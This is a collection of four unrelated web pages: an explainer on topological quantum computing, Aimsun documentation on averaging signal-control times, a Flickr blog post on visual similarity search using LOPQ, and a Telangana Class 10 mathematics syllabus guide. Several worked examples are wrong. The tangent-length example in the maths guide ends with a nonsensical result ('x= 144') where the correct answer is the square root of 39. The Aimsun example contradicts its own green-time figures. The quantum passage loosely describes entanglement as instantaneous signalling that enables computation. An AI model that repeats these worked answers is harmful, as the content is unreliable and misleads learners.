instantly determines the state of the other qubit, regardless of the distance between them. This instantaneous correlation allows for the creation of quantum algorithms that can perform parallel
computations and solve complex problems more efficiently than classical algorithms.
It is important to note that qubits are highly fragile and susceptible to errors caused by environmental factors such as temperature, electromagnetic radiation, and even cosmic rays. To mitigate
these errors and maintain the integrity of quantum computations, quantum error correction techniques and fault-tolerant architectures are being developed.
Overall, qubits are the foundation of quantum computing and their unique properties of superposition and entanglement hold the key to unlocking the immense computational power of quantum systems. As
researchers and scientists continue to explore and develop this field, the potential applications of quantum computing are vast and promising, ranging from optimization problems and cryptography to
drug discovery and material science.
Furthermore, decoherence is a major obstacle to achieving long computation times and reliable quantum operations. As quantum computers become more complex and powerful, the effects of decoherence
become more pronounced, making it increasingly difficult to maintain the integrity of quantum information.
Researchers have been exploring various strategies to mitigate the effects of decoherence and improve the stability of qubits. One approach is to use error correction codes, which involve encoding
quantum information redundantly to protect against errors caused by decoherence. These codes can detect and correct errors, allowing for more robust quantum computations.
Another strategy is to implement quantum error correction techniques, which involve actively monitoring and correcting errors as they occur. This involves using additional qubits as “ancilla” or
helper qubits to detect and correct errors in the main qubits. By continuously monitoring the state of the qubits and applying corrective operations, researchers can minimize the impact of
decoherence on the computation.
Additionally, efforts have been made to develop qubits that are inherently more resistant to decoherence. For example, topological qubits, which are based on the principles of topology, have the
potential to be more robust against decoherence. These qubits rely on the manipulation of non-local properties, such as the braiding of Majorana fermions, to store and process quantum information.
Furthermore, advancements in materials science have led to the development of qubits with longer coherence times. For instance, superconducting qubits made from materials with reduced impurities and
defects can exhibit longer coherence times, allowing for more reliable quantum computations.
Despite these efforts, decoherence remains a significant challenge in quantum computing. As researchers continue to push the boundaries of quantum technology, finding effective solutions to mitigate
the effects of decoherence will be crucial for the realization of practical and scalable quantum computers.
One of the key advantages of topological qubits is their ability to perform fault-tolerant quantum computation. Fault-tolerance is a crucial requirement for practical quantum computers, as it allows
for error correction and reliable computation even in the presence of noise and imperfections.
The robustness of topological qubits stems from their unique properties. In a topological qubit, the information is encoded in the non-local properties of the system, such as the presence or absence
of certain types of particles or excitations. These non-local properties are protected by the topology of the system, which means that the information can be stored and manipulated without being
affected by local perturbations or noise.
To create a topological qubit, researchers use physical systems that exhibit topological properties. One example is the fractional quantum Hall effect, which occurs in two-dimensional electron
systems under strong magnetic fields. In this system, the electrons form a highly correlated state known as a fractional quantum Hall state, which can be used to encode and manipulate quantum
Another example of a physical system that can be used to create topological qubits is a chain of superconducting islands connected by Josephson junctions. In this system, the topological properties
arise from the presence of Majorana zero modes, which are exotic quasiparticles that can be used to encode quantum information.
Once a topological qubit is created, it can be manipulated using a set of operations known as topological quantum gates. These gates are designed to preserve the non-local properties of the system,
allowing for the manipulation of quantum information without introducing errors or decoherence.
While topological qubits offer a promising solution to the problem of decoherence, there are still many challenges that need to be overcome before they can be used in practical quantum computers. One
of the main challenges is the difficulty of creating and manipulating the physical systems that exhibit topological properties. Researchers are actively working on developing new techniques and
materials to overcome these challenges and bring topological quantum computing closer to reality.
One of the key advantages of topological quantum computing is its ability to perform fault-tolerant computations. Traditional quantum computers are extremely sensitive to errors caused by
decoherence, which can disrupt the delicate quantum states and lead to inaccuracies in the computation. However, in topological quantum computing, the non-local nature of anyons provides a natural
defense against these errors.
Imagine a scenario where a traditional quantum computer is performing a computation and an error occurs due to decoherence. In this case, the error would directly affect the qubits involved in the
computation, leading to inaccuracies in the final result. However, in topological quantum computing, the information is distributed across the entire system, making it more difficult for errors to
have a significant impact.
When anyons are braided or moved around each other, the resulting entanglement is distributed across the entire system. This means that the information encoded in the entanglement is not localized to
specific qubits, but rather spread out throughout the system. As a result, errors caused by decoherence would need to simultaneously affect multiple anyons in order to have a substantial effect on
the computation.
This inherent fault-tolerance is a major advantage of topological quantum computing, as it greatly reduces the need for error correction techniques that are required in traditional quantum computing
architectures. Error correction in traditional quantum computers involves redundantly encoding the information in multiple qubits and constantly checking for errors. This process requires a
significant amount of additional qubits and computational resources, which can be a major limitation in scaling up quantum computers.
However, in topological quantum computing, the protection against errors is built into the system itself. The non-local nature of anyons ensures that the information is distributed in such a way that
errors caused by decoherence are less likely to have a significant impact on the computation. This makes topological quantum computing a promising approach for building large-scale, fault-tolerant
quantum computers.
Potential Advantages of Topological Quantum Computing
Topological quantum computing offers several potential advantages over traditional quantum computing.
Firstly, the robustness of topological qubits against errors makes them more reliable for practical applications. Traditional qubits require error correction techniques to mitigate the effects of
decoherence, which adds complexity to the system. Topological qubits, on the other hand, are inherently more resistant to errors, reducing the need for error correction.
Secondly, topological qubits have the potential for fault-tolerant quantum computation. Fault tolerance is the ability of a quantum computer to continue functioning even in the presence of errors.
The topological nature of anyons makes them well-suited for fault-tolerant quantum computation, as the information encoded in the entanglement is protected against errors.
Thirdly, topological quantum computing could potentially be more scalable than traditional quantum computing. Traditional qubits require precise control and isolation to prevent errors, which becomes
increasingly challenging as the number of qubits increases. Topological qubits, on the other hand, have a higher tolerance for errors, making them easier to scale up.
In addition to these advantages, topological quantum computing also holds promise for enhanced computational power. The topological properties of anyons allow for the creation of stable quantum
states that can be manipulated and controlled for computational purposes. These stable states, known as non-Abelian anyons, possess unique properties that can be harnessed to perform complex
computations more efficiently than traditional qubits.
Furthermore, topological quantum computing has the potential to overcome the limitations of traditional quantum computing in terms of quantum error correction. While error correction techniques are
necessary in traditional quantum computing to mitigate the effects of decoherence, they can be resource-intensive and limit the scalability of the system. In topological quantum computing, the
inherent robustness of topological qubits against errors reduces the need for extensive error correction, allowing for a more efficient and scalable approach to quantum computation.
Another advantage of topological quantum computing lies in its potential for increased stability and coherence times. Traditional qubits are highly sensitive to environmental noise and interactions,
which can cause decoherence and lead to errors in the computation. Topological qubits, on the other hand, are less susceptible to such disturbances due to their topological protection. This inherent
stability and longer coherence times make topological quantum computing a more viable and reliable option for practical applications.
Overall, the potential advantages of topological quantum computing make it an exciting and promising area of research. From its robustness against errors and fault tolerance to its scalability and
enhanced computational power, topological quantum computing offers a new paradigm for quantum computation that could revolutionize various fields, including cryptography, optimization, and material
One of the current challenges in the field of topological quantum computing is the scalability of the system. While researchers have successfully demonstrated the existence of topological qubits in
small-scale experiments, scaling up these systems to a larger number of qubits is still a major hurdle. The physical implementation of topological qubits requires precise control over the interaction
between anyons, and as the number of qubits increases, the complexity of this control also increases exponentially.
Another challenge is the issue of noise and interference. In any physical system, there are always sources of noise and interference that can disrupt the delicate quantum states of the qubits. In the
case of topological qubits, anyons are particularly susceptible to noise and can easily be disturbed by external factors. Developing techniques to mitigate these sources of noise and interference is
crucial for the successful implementation of topological quantum computing.
In addition to these technical challenges, there are also practical challenges that need to be addressed. One such challenge is the availability of suitable materials for building topological qubits.
Current experimental platforms often rely on exotic materials with specific properties that are difficult to obtain and manipulate. Finding alternative materials that are more readily available and
easier to work with would greatly facilitate the development of topological quantum computing.
Despite these challenges, the future prospects of topological quantum computing are promising. Once these technical and practical challenges are overcome, topological qubits have the potential to
revolutionize the field of quantum computing. Their inherent robustness against errors and decoherence make them an attractive option for building large-scale, fault-tolerant quantum computers. With
the continued efforts of researchers and advancements in technology, it is only a matter of time before topological quantum computing becomes a practical reality. | {"url":"https://diversedaily.com/exploring-topological-quantum-computing-a-robust-approach-to-quantum-computing/","timestamp":"2024-11-02T18:04:20Z","content_type":"text/html","content_length":"162800","record_id":"<urn:uuid:1d75f70b-0f53-491c-9265-a8b4b4a80dee>","cc-path":"CC-MAIN-2024-46/segments/1730477027729.26/warc/CC-MAIN-20241102165015-20241102195015-00821.warc.gz"} |
Calculating Aggregate Control Times
Calculating Aggregate Control Times¶
In some simulations and assignments, control junctions are not explicitly considered, either because it is not possible to evaluate a control junction or because it is not meaningful for the project.
For example, this is the case with a static assignment where queues cannot be modeled and therefore no specific time can be used to evaluate the control plan.
To overcome this, you can use time-aggregated control quantities instead of time-specific ones. In particular, consider calculating the following aggregates:
• Average green time (seconds)
• Average min. green time (seconds)
• Average max. green time (seconds)
• Average yellow duration (seconds)
• Average cycle duration (seconds)
• Control junction type
• Uncontrolled time (seconds)
Average calculation¶
Let T be the duration of the whole period. Let V[i] be a quantity associated with the i-th subperiod (phase) where it is active, and let d[i] be the duration of this period. The averages are
calculated by explicitly applying the following formula:
where the durations d[i] play the role of weights of the average. In the case of a multi-ring control junction, the final average will be the average of the average of each ring.
We have two ways of finding this average, depending on how detailed you need the calculation to be: an approximate method and an exact method. The exact method produces more accurate results for
intervals containing fractions of cycles.
Approximate method¶
In this method, V[i] is considered to be the cycle average of V.
This method is simpler and faster but less accurate. It is suitable for averages over long periods and when there are few or no changes of traffic control.
Exact method¶
In this method, V[i] is the average over the period defined by d[i].
This method is more accurate but more complex and costly to calculate. It is more suitable for short periods, where such a degree of accuracy is useful, and when there might be changes to control
plans or other modifications to traffic control in the intersection.
This calculation can be very complicated, depending on the different control plans in use. As an example, consider a situation where you want to calculate the average green time of the turn shown
The control is defined in the master control plan below.
The control junction in CP1 is as follows.
And in CP2 as below.
If you want to know the average green time of this turn over the whole hour (3,600s), where the MCP is defined, apply the previous formula with these considerations:
• For CP1, 20 cycles of 90 seconds pass. Each contributes 30 seconds of green time for this turn.
• For CP2, 20 cycles of 90 seconds pass. Each contributes 40 seconds of green time for this turn.
When calculating the average, the result for both the approximate and the exact method is shown below.
That was a simple case. Now consider a case where the average green time is between 08:20 and 08:50 (1,800s). In this case, the approximate and exact methods will not give the same values.
Approximate method:
• For CP1, six full cycles of 90 seconds and 2/3 of a cycle (60 seconds) pass. Each full cycle contributes 30 seconds of green time for this turn, with the partial cycle contributing
• For CP2, 13 full cycles of 90 seconds and 1/3 of a cycle (30 seconds) pass. Each full cycle contributes 40 seconds of green time for this turn, with the partial cycle contributing proportionally.
When calculating the average, the result is shown below.
Exact method:
• The starting cycle time for CP1 is mod(20min·60s/min,90s)=60s and the ending cycle time is mod(30min·60s/min,90s)=0s. Therefore, we have a contribution of [60s, 90s] (0s of green) and 6 full
cycles (30s of green).
• The starting cycle time for CP2 is mod(30min·60s/min,90s)=0s and the ending cycle time is mod(50min·60s/min,90s)=60s. Therefore, we have a contribution of 13 full cycles (30s of green) and [0s,
60s] (30s of green).
When calculating the average, the result is shown below.
Comparing both results, it is clear that in this case the approximate method overestimates the average green time for the turn.
Control Junction Type Calculation¶
In a time period there might be more than one control junction defined (at different times) for a given node. In general we cannot associate a single junction type with a node. Instead, if all types
of control junction during the period are equal, we consider the control junction to belong to this type. If this is not the case, the control-junction type is undetermined (-1).
Uncontrolled Time Calculation¶
In a time period there might be time intervals where no control is defined for a given node. The sum of the duration of all such intervals adds up to the total uncontrolled time. This quantity might
be useful when considering how relevant the previously calculated averages are, among others. | {"url":"https://docs.aimsun.com/next/22.0.2/UsersManual/AggregateControlTimeCalculation.html","timestamp":"2024-11-07T09:19:22Z","content_type":"text/html","content_length":"38304","record_id":"<urn:uuid:d0f8fbb5-6776-4b6a-bb3f-11b26f2199ae>","cc-path":"CC-MAIN-2024-46/segments/1730477027987.79/warc/CC-MAIN-20241107083707-20241107113707-00439.warc.gz"} |
At Flickr, we understand that the value in our image corpus is only unlocked when our members can find photos and photographers that inspire them, so we strive to enable the discovery and
appreciation of new photos.
To further that effort, today we are introducing similarity search on Flickr. If you hover over a photo on a search result page, you will reveal a “…” button that exposes a menu that gives you the
option to search for photos similar to the photo you are currently viewing.
In many ways, photo search is very different from traditional web or text search. First, the goal of web search is usually to satisfy a particular information need, while with photo search the goal
is often one of discovery; as such, it should be delightful as well as functional. We have taken this to heart throughout Flickr. For instance, our color search feature, which allows filtering by
color scheme, and our style filters, which allow filtering by styles such as “minimalist” or “patterns,” encourage exploration. Second, in traditional web search, the goal is usually to match
documents to a set of keywords in the query. That is, the query is in the same modality—text—as the documents being searched. Photo search usually matches across modalities: text to image. Text
querying is a necessary feature of a photo search engine, but, as the saying goes, a picture is worth a thousand words. And beyond saving people the effort of so much typing, many visual concepts
genuinely defy accurate description. Now, we’re giving our community a way to easily explore those visual concepts with the “…” button, a feature we call the similarity pivot.
The similarity pivot is a significant addition to the Flickr experience because it offers our community an entirely new way to explore and discover the billions of incredible photos and millions of
incredible photographers on Flickr. It allows people to look for images of a particular style, it gives people a view into universal behaviors, and even when it “messes up,” it can force people to
look at the unexpected commonalities and oddities of our visual world with a fresh perspective.
What is “similarity”?
To understand how an experience like this is powered, we first need to understand what we mean by “similarity.” There are many ways photos can be similar to one another. Consider some examples.
It is apparent that all of these groups of photos illustrate some notion of “similarity,” but each is different. Roughly, they are: similarity of color, similarity of texture, and similarity of
semantic category. And there are many others that you might imagine as well.
What notion of similarity is best suited for a site like Flickr? Ideally, we’d like to be able to capture multiple types of similarity, but we decided early on that semantic similarity—similarity
based on the semantic content of the photos—was vital to facilitate discovery on Flickr. This requires a deep understanding of image content for which we employ deep neural networks.
We have been using deep neural networks at Flickr for a while for various tasks such as object recognition, NSFW prediction, and even prediction of aesthetic quality. For these tasks, we train a
neural network to map the raw pixels of a photo into a set of relevant tags, as illustrated below.
Internally, the neural network accomplishes this mapping incrementally by applying a series of transformations to the image, which can be thought of as a vector of numbers corresponding to the pixel
intensities. Each transformation in the series produces another vector, which is in turn the input to the next transformation, until finally we have a vector that we specifically constrain to be a
list of probabilities for each class we are trying to recognize in the image. To be able to go from raw pixels to a semantic label like “hot air balloon,” the network discards lots of information
about the image, including information about appearance, such as the color of the balloon, its relative position in the sky, etc. Instead, we can extract an internal vector in the network before the
final output.
For common neural network architectures, this vector—which we call a “feature vector”—has many hundreds or thousands of dimensions. We can’t necessarily say with certainty that any one of these
dimensions means something in particular as we could at the final network output, whose dimensions correspond to tag probabilities. But these vectors have an important property: when you compute the
Euclidean distance between these vectors, images containing similar content will tend to have feature vectors closer together than images containing dissimilar content. You can think of this as a way
that the network has learned to organize information present in the image so that it can output the required class prediction. This is exactly what we are looking for: Euclidian distance in this
high-dimensional feature space is a measure of semantic similarity. The graphic below illustrates this idea: points in the neighborhood around the query image are semantically similar to the query
image, whereas points in neighborhoods further away are not.
This measure of similarity is not perfect and cannot capture all possible notions of similarity—it will be constrained by the particular task the network was trained to perform, i.e., scene
recognition. However, it is effective for our purposes, and, importantly, it contains information beyond merely the semantic content of the image, such as appearance, composition, and texture. Most
importantly, it gives us a simple algorithm for finding visually similar photos: compute the distance in the feature space of a query image to each index image and return the images with lowest
distance. Of course, there is much more work to do to make this idea work for billions of images.
Large-scale approximate nearest neighbor search
With an index as large as Flickr’s, computing distances exhaustively for each query is intractable. Additionally, storing a high-dimensional floating point feature vector for each of billions of
images takes a large amount of disk space and poses even more difficulty if these features need to be in memory for fast ranking. To solve these two issues, we adopt a state-of-the-art approximate
nearest neighbor algorithm called Locally Optimized Product Quantization (LOPQ).
To understand LOPQ, it is useful to first look at a simple strategy. Rather than ranking all vectors in the index, we can first filter a set of good candidates and only do expensive distance
computations on them. For example, we can use an algorithm like k-means to cluster our index vectors, find the cluster to which each vector is assigned, and index the corresponding cluster id for
each vector. At query time, we find the cluster that the query vector is assigned to and fetch the items that belong to the same cluster from the index. We can even expand this set if we like by
fetching items from the next nearest cluster.
This idea will take us far, but not far enough for a billions-scale index. For example, with 1 billion photos, we need 1 million clusters so that each cluster contains an average of 1000 photos. At
query time, we will have to compute the distance from the query to each of these 1 million cluster centroids in order to find the nearest clusters. This is quite a lot. We can do better, however, if
we instead split our vectors in half by dimension and cluster each half separately. In this scheme, each vector will be assigned to a pair of cluster ids, one for each half of the vector. If we
choose k = 1000 to cluster both halves, we have k^2= 1000 * 1000 = 1e6 possible pairs. In other words, by clustering each half separately and assigning each item a pair of cluster ids, we can get the
same granularity of partitioning (1 million clusters total) with only 2 * 1000 distance computations with half the number of dimensions for a total computational savings of 1000x. Conversely, for the
same computational cost, we gain a factor of k more partitions of the data space, providing a much finer-grained index.
This idea of splitting vectors into subvectors and clustering each split separately is called product quantization. When we use this idea to index a dataset it is called the inverted multi-index, and
it forms the basis for fast candidate retrieval in our similarity index. Typically the distribution of points over the clusters in a multi-index will be unbalanced as compared to a standard k-means
index, but this unbalance is a fair trade for the much higher resolution partitioning that it buys us. In fact, a multi-index will only be balanced across clusters if the two halves of the vectors
are perfectly statistically independent. This is not the case in most real world data, but some heuristic preprocessing—like PCA-ing and permuting the dimensions so that the cumulative per-dimension
variance is approximately balanced between the halves—helps in many cases. And just like the simple k-means index, there is a fast algorithm for finding a ranked list of clusters to a query if we
need to expand the candidate set.
After we have a set of candidates, we must rank them. We could store the full vector in the index and use it to compute the distance for each candidate item, but this would incur a large memory
overhead (for example, 256 dimensional vectors of 4 byte floats would require 1Tb for 1 billion photos) as well as a computational overhead. LOPQ solves these issues by performing another product
quantization, this time on the residuals of the data. The residual of a point is the difference vector between the point and its closest cluster centroid. Given a residual vector and the cluster
indexes along with the corresponding centroids, we have enough information to reproduce the original vector exactly. Instead of storing the residuals, LOPQ product quantizes the residuals, usually
with a higher number of splits, and stores only the cluster indexes in the index. For example, if we split the vector into 8 splits and each split is clustered with 256 centroids, we can store the
compressed vector with only 8 bytes regardless of the number of dimensions to start (though certainly a higher number of dimensions will result in higher approximation error). With this lossy
representation we can produce a reconstruction of a vector from the 8 byte codes: we simply take each quantization code, look up the corresponding centroid, and concatenate these 8 centroids together
to produce a reconstruction. Likewise, we can approximate the distance from the query to an index vector by computing the distance between the query and the reconstruction. We can do this computation
quickly for many candidate points by computing the squared difference of each split of the query to all of the centroids for that split. After computing this table, we can compute the squared
difference for an index point by looking up the precomputed squared difference for each of the 8 indexes and summing them together to get the total squared difference. This caching trick allows us to
quickly rank many candidates without resorting to distance computations in the original vector space.
LOPQ adds one final detail: for each cluster in the multi-index, LOPQ fits a local rotation to the residuals of the points that fall in that cluster. This rotation is simply a PCA that aligns the
major directions of variation in the data to the axes followed by a permutation to heuristically balance the variance across the splits of the product quantization. Note that this is the exact
preprocessing step that is usually performed at the top-level multi-index. It tends to make the approximate distance computations more accurate by mitigating errors introduced by assuming that each
split of the vector in the production quantization is statistically independent from other splits. Additionally, since a rotation is fit for each cluster, they serve to fit the local data
distribution better.
Below is a diagram from the LOPQ paper that illustrates the core ideas of LOPQ. K-means (a) is very effective at allocating cluster centroids, illustrated as red points, that target the distribution
of the data, but it has other drawbacks at scale as discussed earlier. In the 2d example shown, we can imagine product quantizing the space with 2 splits, each with 1 dimension. Product Quantization
(b) clusters each dimension independently and cluster centroids are specified by pairs of cluster indexes, one for each split. This is effectively a grid over the space. Since the splits are treated
as if they were statistically independent, we will, unfortunately, get many clusters that are “wasted” by not targeting the data distribution. We can improve on this situation by rotating the data
such that the main dimensions of variation are axis-aligned. This version, called Optimized Product Quantization (c), does a better job of making sure each centroid is useful. LOPQ (d) extends this
idea by first coarsely clustering the data and then doing a separate instance of OPQ for each cluster, allowing highly targeted centroids while still reaping the benefits of product quantization in
terms of scalability.
LOPQ is state-of-the-art for quantization methods, and you can find more information about the algorithm, as well as benchmarks, here. Additionally, we provide an open-source implementation in Python
and Spark which you can apply to your own datasets. The algorithm produces a set of cluster indexes that can be queried efficiently in an inverted index, as described. We have also explored use cases
that use these indexes as a hash for fast deduplication of images and large-scale clustering. These extended use cases are studied here.
We have described our system for large-scale visual similarity search at Flickr. Techniques for producing high-quality vector representations for images with deep learning are constantly improving,
enabling new ways to search and explore large multimedia collections. These techniques are being applied in other domains as well to, for example, produce vector representations for text, video, and
even molecules. Large-scale approximate nearest neighbor search has importance and potential application in these domains as well as many others. Though these techniques are in their infancy, we hope
similarity search provides a useful new way to appreciate the amazing collection of images at Flickr and surface photos of interest that may have previously gone undiscovered. We are excited about
the future of this technology at Flickr and beyond.
Yannis Kalantidis, Huy Nguyen, Stacey Svetlichnaya, Arel Cordero. Special thanks to the rest of the Computer Vision and Machine Learning team and the Vespa search team who manages Yahoo’s internal
search engine. | {"url":"https://code.flickr.net/author/claytonhoo/","timestamp":"2024-11-10T11:45:25Z","content_type":"text/html","content_length":"72870","record_id":"<urn:uuid:52cfb61f-d6f6-4cd1-9257-79190bc96b47>","cc-path":"CC-MAIN-2024-46/segments/1730477028186.38/warc/CC-MAIN-20241110103354-20241110133354-00497.warc.gz"} |
TS Class 10 Mathematics Textbook: Complete Syllabus With Video and PDF
Digital ClassroomSmart ClassTS Syllabus
TS Class 10 Mathematics Textbook: Complete Syllabus With Video and PDF
In this post, Digital Teacher explains the SSC Class 10 Maths textbook in Telangana, from “Real Numbers,” to Chapter 14 of “Statistics”. It discusses the definition, properties, and conditions of
real numbers such as integers, decimals, and fractions. It also underlines their classification and importance, allowing for arithmetic operations and representation on the number line.
Students looking for Telangana 10th-class courses may get the whole Telangana (TS) SSC lessons here. The Telangana TS 10th Class Syllabus is accessible for all courses. The Class 10 TS maths syllabus
is divided into 1 to 14 units.
Telangana State Board Syllabus -Digital Teacher
Telangana (TS) Board Class 10 Syllabus for Mathematics
The following are the Telangana State TS Maths Class 10 lessons. Since we have covered every significant topic for the exam, students can check here. The table below lists the chapter names for the
Class 10 Mathematics course, which includes Real Numbers, Sets, Polynomials, and more.
Unit 1 Real Numbers
Unit 2 Sets
Unit 3 Polynomials
Unit 4 Pair of Linear Equations in Two Variables
Unit 5 Quadratic Equations
Unit 6 Progressions
Unit 7 Coordinate Geometry
Unit 8 Similar Triangles
Unit 9 Tangents and Secants to a Circle
Unit 10 Mensuration
Unit 11 Trigonometry
Unit 12 Applications of Trigonometry
Unit 13 Probability
Unit 14 Statistics
In the sections below, we will try to explain each class 10th Mathematics unit in detail so that you can understand what you need to study on the syllabus. Now, read it!
Class 10 Mathematics TS Units in Detailed:
1. Real Numbers: This unit covers the fundamental properties of real numbers, including the Euclidean algorithm, rational and irrational numbers, and decimal expansions.
Definition: (Real numbers) encompass both rational and irrational numbers within the number system. They can be both positive or negative and are represented by the symbol “R”. All natural numbers,
decimals, and fractions fall under this category.
• Integers: 17, -8
• Decimal Numbers: 3.14
• Fractional Numbers: 1/3
• Irrational Constants: √2
Here is a Detailed Explanation: (Real Numbers Example)
Real numbers encompass both rational and irrational numbers within the number system. Rational numbers can be expressed as fractions of integers, while irrational numbers cannot be expressed as
fractions and have non-repeating, non-terminating decimal expansions. Real numbers allow for various arithmetic operations and can be represented on the number line. In contrast, imaginary numbers,
which are also used in mathematics, cannot be plotted on the number line and are denoted by multiples of the imaginary unit “i”. Examples such as 17 (integer), -8 (integer), 3.14 (decimal number), 1/
3 (fractional number), and √2 (irrational constant) illustrate the diversity of real numbers, ranging from whole numbers to fractions and transcendental constants like √2 and π. This comprehensive
understanding of real numbers is essential in various mathematical contexts, from basic arithmetic to advanced calculus.
Full Video Lesson in The Below (Real Numbers)
TS class 10 Mathematics Unit 2 & 3: (Sets & Polynomials)
Mathematics Unit-2: (Sets) or (Set of Real Numbers) Real numbers are classified into several categories, including natural numbers, whole numbers, integers, rational numbers, and irrational numbers.
Natural numbers are infinitely long counting numbers, whereas whole numbers encompass both zero and the whole natural number set. Integers are the sum of whole integers and their negatives, including
values such as -∞, -4, -3, -2, -1, 0, 1, 2, 3, 4, and up to +∞. Rational numbers may be stated as p/q, such as 1/2, 5/4, and 12/6, however, irrational numbers cannot be written as fractions and have
non-repeating and non-terminating decimal expansions, such as √2.
Unit 3: (Polynomials)
In Telangana Ts Class 10 Unit 3, we’ll explore polynomials. Think of them as math expressions made up of different parts like letters (which we call variables), numbers (which we call coefficients),
and powers. We can add, subtract, and multiply them, but we can’t divide them by variables.
Imagine this: 𝑥 2 + 𝑥 − 12 x 2 +x−12. Here, we have three parts: 𝑥 2 x 2, 𝑥 x, and − 12 −12.
A polynomial is like a bunch of terms (like 𝑥 2 x 2 , 𝑥 x, and − 12 −12) all added, subtracted, or multiplied together. We use these terms to build expressions that represent different situations in
For example:
• Constants are just regular numbers, like 1, 2, 3, and so on.
• Variables are letters that stand for numbers we don’t know yet, like 𝑔 g, ℎ h, 𝑥 x, 𝑦 y, and so on.
• Exponents are little numbers that tell us how many times to use the variable, like 5 in 𝑥 5 x 5.
Let’s break down a simple example into a table:
Term Type Example Description
Constant 1 Regular number
Variable x Letter representing an unknown value
Exponent 5 The little number indicates repetition
Pair of Linear Equations in Two Variables (Unit-4)
Substitution, elimination, and graphical representation are methods used in the solution of linear equations. In Unit 4, the emphasis is on solving equation pairs involving straight lines by
utilizing graphing, substitution, and elimination techniques to determine where the lines cross.
• Equation: An equation is a statement that two mathematical expressions having one or more variables are equal.
• Linear Equation: Unit 4 focuses (Linear Equation) on solving pairs of equations with each equation being a straight line, utilizing techniques such as substitution, elimination, and graphing to
determine where these lines intersect, ensuring that the degree of a linear equation is always one.
Let’s Explore the Fundamentals:
• Equation: It’s like a balancing scale, indicating that two items are equal. For instance, the equation 2 𝑥 + 3 = 7 2x+3=7 states that 2 𝑥 + 3 2x+3 equals 7 7.
• Linear equations have a maximum power of 1 for the variable (e.g., 𝑥 x or 𝑦 y). They produce straight lines when graphed. The equation 3 𝑥 + 2 𝑦 = 5 is linear since the powers of 𝑥 x and 𝑦 y are
both 1.
• Comprehending these fundamentals will aid us in resolving issues when determining the intersection of two lines is required.
Unit-5: Quadratic Equations
In Class 10, “Quadratic Equations,” Chapter 4, is an important component of algebra. It gives an overview of quadratic equations and demonstrates several methods for solving them, including
factoring, using formulas, and completing the square. Acquiring these techniques is essential as they serve as the foundation for more complex math problems in the near future!
In This Chapter, Students Will Study These Topics:
• Quadratic equations are special equations in which the variable’s maximum power is two.
• A quadratic polynomial is a unique equation, such as 𝑎 𝑥 2 + 𝑏 𝑥 + 𝑐 ax 2 +bx+c, where 𝑎 a, 𝑏 b, and 𝑐 c are real values and 𝑎 an is not zero.
Understanding these ideas will enable you to answer issues expertly and score your tests!
6th Unit – Progressions (or) Arithmetic Progression (AP)
This lesson focuses on Arithmetic Progressions (AP), a series of consistent terms that includes both arithmetic and geometric progressions, as well as determining the nth term and the sum of the
first n terms.
Here are a few basic concepts:
• Sequences are lists of numbers that follow a certain pattern. For example, 1, 2, 3, 4, 5… is a natural number sequence
• Series: It is the sum of all the numbers in a series. The natural number sequence is represented by 1+2+3+4+5…
• Progressions are sequences in which we may put out a rule or formula for determining any term.
Now, let’s explore Arithmetic Progression:
What is Arithmetic Progression-AP?
It is a sequence in which each term after the first is determined by adding a set integer to the preceding term. For example, 2, 5, 8, 11, 14, and so on, with each addition of three.
Common Difference: This is the number that we keep adding to go from one word to the next. If it’s positive, the AP is rising; if it’s zero, the AP is stable; and if it’s negative, the AP is
For example, in the sequence 2, 5, 8, 11, 14,…, the common difference is 3 since we are adding three each time.
Understanding (Arithmetic Progression) APs enable students to solve many real-world situations and prepare students for higher-level math topics.
Please let me know if you need any more clarity on any aspect of this topic! Now let’s look into 7th Unit Coordinate Geometry.
Unit-7 Coordinate Geometry
Chapter 7 of Class 10 Mathematics: Coordinate Geometry, a branch that discusses the position of points on a plane, including the Cartesian plane, distance formula, section formula, and triangle area.
• Comprehending Coordinates: A pair of integers, represented as (x, y), may be used to identify any point on a plane. In this case, ‘x’ stands for the distance from the y-axis (also known as the
abscissa) and ‘y’ for the distance from the x-axis (also known as the ordinate).
• Distance Formula: We’ll understand how to use this helpful formula to determine the distance between two sites. We may calculate the length of a line segment between any two locations on a
coordinate plane using this formula.
• Area Calculation: If we know the coordinates of a triangle’s vertices, we can also use the distance formula to get the triangle’s area.
For example: Coordinate Geometry
Let’s think about the point R(4, 3). In this instance, ‘4’ denotes the object’s separation from the y-axis, and ‘3’ is the object’s separation from the x-axis. Knowing Coordinate Geometry helps us
see and understand mathematical topics by allowing us to accurately describe and evaluate objects and figures on a graph!
Please do comment! if you want any further explanation or examples!
Similar Triangles (Unit 8th)
Students in Class 10 Math’s eighth unit study the idea of Similar triangles, which is an important test topic. The lesson explores the requirements for triangle similarity along with its theorems.
Similar Triangles:
Similar triangles, such as ∆ABC and ∆PQR, have the same form but may differ in size. For this to be true:
• (i) Angles A, B, and C must be equal (A = P, B = Q, and C = R).
• (ii) Their corresponding sides are proportional, suggesting that the length ratios of the corresponding sides stay constant.
Example with Answer: (Similar Triangles)
Q) For example, Consider two triangles, ∆DEF and ∆GHI, where ∆DEF ~ ∆GHI. If DE = 4 cm, EF = 6 cm, and GH = 8 cm, what is the length of side HI?
Ans) To find the length of side HI in triangle ∆GHI, given that triangle ∆DEF is similar to triangle ∆GHI, we can use the properties of similar triangles.
Since triangles ∆DEF and ∆GHI are similar, their corresponding sides are proportional.
We can set up the proportions: GH/DE=HI/EF
Substituting the given values: 4 /8 = 6 /HI
Now, let’s solve for HI:
8/4 = HI/6
HI= 48/4
HI=12 cm
So, the length of side HI is 12 cm.
Unit-9 Tangents and Secants to a Circle
In Chapter 9 of Class 10 Math, we look at Tangents and Secants, focusing on their properties and practical applications. Let us put it in simpler terms:
Understand Tangents and Secants:
• Tangent: Imagine a line that only touches a circle at one place. That is what we call a tangent.
• Secant: Draw a line that cuts through the circle and intersects it at two different points. That is a secant.
Tangents to a circle:
• When a tangent touches a circle, it only touches it at one place, known as the point of contact.
• The tangent is always perpendicular to the radius of the circle at the point of contact.
• If you draw tangents from an external point to a circle, they will be the same length.
• We may also determine the area of a circle segment using an angle and radius formula.
For Example:
Q) Consider a circle with a radius 5 cm. A tangent is drawn to the circle from a point outside the circle, and it intersects the circle at point P. If the distance from the point to the centre of the
circle is 8 cm, what is the length of the tangent segment, i.e., the length of line segment PT?
Ans) To find the length of the tangent segment PT, we can use the property that the length of the tangent segment from an external point to a circle is equal to the radius of the circle drawn
perpendicular to the tangent line.
Given that the distance from the point to the center of the circle is 8 cm and the radius of the circle is 5 cm, we can use the Pythagorean theorem to find the length of the tangent segment PT.
Let’s denote the length of PT as 𝑥 x. According to the Pythagorean theorem:
Taking the square root of both sides:
x= 144
10th Class Mathematics: Mensuration (Unit-10)
